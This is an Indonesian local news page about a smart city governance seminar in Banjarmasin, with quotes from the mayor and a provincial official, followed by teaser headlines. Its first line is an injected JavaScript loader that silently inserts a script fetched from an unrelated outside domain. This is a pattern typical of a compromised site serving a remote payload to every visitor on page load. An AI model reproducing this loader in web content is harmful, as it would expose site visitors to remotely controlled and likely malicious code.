(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Seminar Internasional Smart City Governance Based On Digital Service dihelat di General Building Universitas Lambung Mangkurat Banjarmasin, Selasa (8/10). Kegiatan ini diinisiasi oleh tiga lembaga yakni Universitas Lambung Mangkurat (ULM) Banjarmasin bekerjasama dengan Universitas Brawijaya Malang dan Pemko Banjarmasin.
Walikota Banjarmasin H Ibnu Sina menjelaskan, konsep yang digunakan dalam membangun kota berjuluk seribu sungai adalah spirit kolaborasi. Lewat kegiatan seminar tersebut, ia berharap seluruh kabupaten kota yang hadir dalam kegiatan tersebut bisa sama-sama belajar dan memberikan masukan tentang pengembangan smart city.
“Saya kira akan banyak yang dibahas dalam kegiatan ini. Spirit kota di Indonesia hari ini bukan lagi berkompetisi, tapi spirit nya adalah berkolaborasi, saling memberi dan saling menerima, tidak lagi berlomba-lomba menjadi nomor satu, tapi maju bersama itu adalah spirit kota Banjarmasin,†ucapnya.
Konsep pentaholic yang menggabungkan beberapa bagian seperti akademisi, bisnismen, comunity, goverment dan media, harus bisa disinergikan dengan program smart city. Makanya, konsep tersebut diimplementasikan dalam seminar internasional tersebut.
Sementara itu, Gubernur Kalsel yang diwakili oleh Asisten Bidang Pemerintahan Pemprov Kalsel, Siswansyah menegaskan, salah satu agenda utama Pemprov Kalsel adalah menggali sumber-sumber ekonomi alternatif yang berkelanjutan. Untuk itu, jelasnya, Pemprov Kalsel akan terus mendorong partisipasi aktif dan inisiatif semua pihak, agar melahirkan berbagai inovasi dan terobosan-terobosan yang memudahkan tumbuh kembangnya sumber ekonomi alternatif, salah satunya adalah pengembangan smart city dan smart province.
“Patut kita berikan apresiasi bersama, keaktifan dan progress yang telah dicapai Pemerintah Kota Banjarmasin dalam mengembangkan smart city, tentunya hal ini menjadi suatu kebanggaan tersendiri bagi Pemprov Kalsel, jika Banjarmasin sebagai ibukota provinsi berhasil menerapkan smart city, sehingga mampu disejajarkan dengan kota-kota besar lainnya di Indonesia,†ucapnya.
Arah pembangunan perkotaan dengan konsep smart city ini, katanya lagi,  sangat relevan dengan dinamika sosial masyarakat yang semakin kompleks, serta perkembangan teknologi yang demikian pesat, dan banyak aspek pelayanan publik di Kota Banjarmasin yang sudah terintegrasi dengan layanan publik secara digital. “Pemprov Kalsel selalu berupaya memberikan dukungan dan siap bekerja bersama-sama dengan Pemerintah Kota Banjarmasin untuk menjadikan Kota Banjarmasin menjadi ibukota provinsi yang modern, humanis, dan bermartabat,†pungkasnya.(fikri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.